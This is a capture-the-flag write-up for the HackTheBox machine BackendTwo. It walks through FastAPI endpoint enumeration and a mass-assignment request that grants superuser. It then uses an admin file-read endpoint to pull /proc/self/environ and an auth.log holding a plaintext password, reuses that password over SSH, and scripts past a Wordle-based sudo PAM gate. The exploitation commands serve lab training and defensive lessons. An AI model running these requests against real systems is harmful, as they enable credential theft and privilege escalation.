HTB: BackendTwo Writeup

BackendTwo - HackTheBox Writeup

Machine Information

AttributeDetails
NameBackendTwo
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐☆☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

BackendTwo exposes a bare FastAPI/uvicorn backend as its only web surface. Fuzzing the API tree reveals a mass-assignment flaw in the user-edit endpoint that lets a freshly registered account flip its own is_superuser flag. That superuser JWT unlocks an admin file-read endpoint, which — beyond the intended path of leaking /proc/self/environ for the JWT signing secret — is powerful enough on its own to read arbitrary files as root-owned processes, including the box’s SSH auth.log. A password fat-fingered into the username field of a failed login sitting in that log turns into a direct SSH credential via password reuse. Root is gated behind pam_wordle, a custom PAM module that forces a Wordle game before sudo will run, solved here with a scripted PTY-driving Wordle solver.

TL;DR: API fuzzing (/api/api/v1/user, /admin) → integer IDs leak admin profile → signup/login → mass assignment (is_superuser: true) → admin file-read endpoint → /proc/self/environ leaks API_KEY (JWT secret) → same file-read endpoint reads /home/htb/auth.log → password reuse via SSH → user.txt → sudo -l gated by pam_wordle → scripted Wordle solver drives sudo interactively → root.txt.


Reconnaissance

Service Enumeration

The web service on the target responds only in JSON, with a uvicorn server header — a strong signal this is a Python FastAPI backend rather than a conventional site.

Enumerating the root of the API surface by hand (rather than assuming a fixed structure) walked down the tree one level at a time:

Terminal window
# root endpoint just advertises the versioned API path
curl -s http://TARGET/api
# → {"endpoints": "/v1"}
curl -s http://TARGET/api/v1
# → {"endpoints": ["/user", "/admin"]}

Both /user and /admin exist. Probing /user with a non-numeric value confirms the endpoint expects an integer path parameter (a FastAPI type-validation error leaks this for free):

Terminal window
curl -s http://TARGET/api/v1/user/melo
# → {"detail":[{"loc":["path","user_id"],"msg":"value is not a valid integer","type":"type_error.integer"}]}

Walking small integers up from 1:

Terminal window
curl -s http://TARGET/api/v1/user/1

/api/v1/user/1 returns the admin account’s profile — is_superuser: true sitting in plaintext in the response. This confirms the user-enumeration surface is unauthenticated and that superuser status is a first-class, client-visible field on the user object — the first hint that it might also be a client-writable one.

Vulnerability Assessment

  1. Unauthenticated user enumeration by integer ID on /api/v1/user/{id}.
  2. A signup/login flow exists under /api/v1/user/, so an attacker can mint their own low-privilege account rather than needing to compromise an existing one.
  3. is_superuser is exposed on the user JSON object returned to clients — a classic setup for a mass assignment vulnerability if the edit endpoint doesn’t allow-list the fields it accepts.
  4. An admin-only file-read endpoint exists once superuser is achieved, and (as exploited below) its read authorization is broader than the application designer probably intended.

Initial Foothold

1. Register and authenticate

Terminal window
# create a normal, unprivileged account
curl -s -X POST http://TARGET/api/v1/user/signup \
-H 'Content-Type: application/json' \
-d '{"email": "melo@backendtwo.htb", "password": "..."}'
# authenticate to get a JWT (this account landed as user id 12)
curl -s http://TARGET/api/v1/user/login \
-d 'username=melo@backendtwo.htb&password=...'
# → {"access_token": "<JWT>", "token_type": "bearer"}

The returned JWT is HS256-signed and carries the low-privilege claims (sub: 12, is_superuser: false).

2. Mass assignment → superuser

The user-edit endpoint accepts a JSON body intended only for updating a display profile field. Because the backend model-binds the request body directly onto the ORM user object instead of filtering to an explicit allow-list of editable fields, any field present on the model — including is_superuser — is accepted and persisted:

Terminal window
# PUT to the edit endpoint with an out-of-scope field in the body
curl -X PUT http://TARGET/api/v1/user/12/edit \
-H "Authorization: Bearer <JWT>" \
-H 'Content-Type: application/json' \
-d '{"is_superuser": true}'

This is why it works: the API framework’s request model for this route almost certainly mirrors the database schema 1:1 rather than defining a narrower “editable fields” schema — so anything valid on the ORM model is valid in the request. Re-authenticating (/user/login again) mints a fresh JWT with is_superuser: true baked into its claims, since the token is signed at login time from the current DB state.

3. Admin file-read → JWT secret

With the elevated JWT, the admin file-read endpoint accepts a base64url-encoded path and returns file contents:

Terminal window
# GET /api/v1/admin/file/<base64url(path)>
curl -s http://TARGET/api/v1/admin/file/$(python3 -c "
import base64
print(base64.urlsafe_b64encode(b'/proc/self/environ').decode().rstrip('='))
") -H "Authorization: Bearer <superuser JWT>"

Reading /proc/self/environ (the running app process’s environment) leaked API_KEY=<redacted>. Cross-referencing what this key is used for: FastAPI apps commonly load their JWT signing secret straight from an environment variable at import time (JWT_SECRET = os.environ['API_KEY'], HS256) — this key is the token-signing secret itself, meaning any JWT for this app can now be forged offline with pyjwt.

4. Direct-to-root-owned-file read → password reuse

Rather than using the JWT secret to forge a debug claim for the write-capable variant of this endpoint and plant a backdoor, the read side of the admin file endpoint required nothing beyond is_superuser: true — which the forged/mass-assigned JWT already carried. That’s enough to read any file the backend process has permission to read, including logs outside the app’s own directory:

Terminal window
curl -s http://TARGET/api/v1/admin/file/$(python3 -c "
import base64
print(base64.urlsafe_b64encode(b'/home/htb/auth.log').decode().rstrip('='))
") -H "Authorization: Bearer <superuser JWT>" | jq -r '.file'

/home/htb/auth.log contained a failed login attempt where the user had fat-fingered their password into the username field — a common real-world credential-hygiene mistake that leaks a plaintext secret into logs that would otherwise only ever record usernames: 1qaz2wsx_htb!.

5. Credential reuse over SSH

Terminal window
ssh htb@TARGET
# password: 1qaz2wsx_htb!

The leaked password authenticated directly as htb over SSH (groups: sudo among others).

Terminal window
cat user.txt
# <redacted>

Privilege Escalation

PAM-Wordle

Terminal window
sudo -l

sudo on this box is gated by a custom PAM module, pam_wordle, wired into /etc/pam.d/sudo ahead of the normal pam_unix.so auth stage. Before sudo will even evaluate -l or run a command, it drives an interactive session that:

  1. Picks a secret five-letter word from a pool (agent-observed pool path: /opt/.words).
  2. Gives the user 6 guesses.
  3. After each guess, prints a Hint -> line coloring each letter: correct-position, present-but-wrong-position, and absent — i.e. real Wordle rules enforced over a PTY, not a simple string match.

Because this is a live, stateful, PTY-driven prompt (not a single scriptable input), automating it requires actually playing the game programmatically:

# wordle_solve.py (abridged)
# Drives `sudo` over a pty, sends the SSH password when prompted,
# then plays Wordle by parsing each "Hint ->" line and narrowing
# the candidate word list using standard Wordle constraint logic:
# - 'x' at position i -> letter confirmed at that index
# - '*' at position i -> letter in word, but not at that index
# - '?' at position i -> letter not in word at all
import pty, os, re, select
def filter_candidates(candidates, guess, hint):
survivors = []
for word in candidates:
ok = True
for i, (g, h) in enumerate(zip(guess, hint)):
if h == g: # correct letter/position
if word[i] != g: ok = False
elif h == '*': # right letter, wrong slot
if g not in word or word[i] == g: ok = False
elif h == '?': # letter absent
if g in word: ok = False
if ok:
survivors.append(word)
return survivors
# main loop: spawn `sudo <cmd>` under a pty, answer the password prompt,
# then for each of the 6 attempts pick the best remaining candidate,
# send it, read back the "Hint ->" line, and re-filter the pool until
# a single word (or a win) remains.

Why a PTY is required here (and not just piping stdin/stdout): sudo’s password prompt and the PAM conversation both check that they’re talking to a real terminal, so a plain subprocess pipe gets rejected or hangs — a pseudo-terminal is needed to satisfy that check while still letting a script drive both sides of the conversation.

Once the word is solved, PAM authentication succeeds and sudo falls through to the normal sudoers evaluation — where htb holds (ALL:ALL) ALL, i.e. unrestricted root:

Terminal window
sudo /bin/bash
# (after the Wordle solver completes the game)
cat /root/root.txt
# <redacted>

Attack Chain Summary

API fuzzing (/api → /api/v1 → /user, /admin)
→ unauthenticated integer-ID enumeration leaks admin profile (is_superuser)
→ signup + login (own low-priv JWT, id 12)
→ mass assignment: PUT /user/12/edit {"is_superuser": true}
→ re-login for elevated JWT
→ admin file-read endpoint: GET /proc/self/environ → API_KEY (JWT secret, HS256)
→ same file-read endpoint (superuser-only, no debug flag needed): GET /home/htb/auth.log
→ password reuse found in log (fat-fingered into username field)
→ SSH as htb → user.txt
→ sudo -l gated by pam_wordle
→ scripted PTY Wordle solver defeats PAM gate
→ sudo (htb = ALL:ALL ALL) → root.txt

Tools Used

ToolPurpose
curlAPI enumeration, auth, mass-assignment PUT, admin file-read requests
jqParsing JSON API responses
python3Base64url path encoding for the file-read endpoint; custom PTY-driving Wordle solver (wordle_solve.py)
sshCredential-reuse login as htb
sudo / pam_wordleTarget privilege boundary defeated by the Wordle solver

Key Learnings

Techniques Practiced

  • API surface discovery by walking undocumented FastAPI routes and reading its structured type-validation errors as a fuzzing oracle.
  • Exploiting mass assignment where a PUT/edit endpoint model-binds the full ORM object instead of an explicit allow-list of editable fields.
  • Abusing an admin file-read primitive beyond its intended “leak the JWT secret” use case to directly read arbitrary log files.
  • Recognizing password-in-username-field as a realistic, non-synthetic credential leak inside auth logs.
  • Automating a stateful, PTY-gated interactive challenge (PAM-Wordle) by parsing structured hint output and applying constraint-satisfaction filtering — not just replaying a fixed script.

Lessons Learned

  1. Any field visible on a returned API object should be assumed writable until proven otherwise — request/response schemas need to be strictly separated (allow-listed) from internal ORM models, especially for privilege-sensitive fields like is_superuser.
  2. A “read-only” admin primitive can be just as dangerous as a write primitive if its authorization check only gates on a coarse role flag rather than a specific, minimal capability (e.g. “read app config” vs. “read any file on disk”).
  3. Secrets that leak into logs aren’t limited to secrets fields — a user’s own typo can put a plaintext password into a username field, and that field is rarely treated as sensitive by log-retention policy.
  4. Novel PAM gates in front of sudo don’t have to be unautomatable — anything that produces structured, parseable feedback (a hint string) can be solved programmatically with the right constraint logic and a PTY to satisfy the terminal check.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • BackendTwo — Official HackTheBox Writeup (HTB Document No. D24.100.267, prepared by C4rm3l0, machine author ippsec) — used only to corroborate the underlying mechanics of the mass-assignment flaw, the FastAPI JWT-secret-from-environment pattern, and the PAM-Wordle gate; all IPs, credentials, and commands in this writeup are from the author’s own run.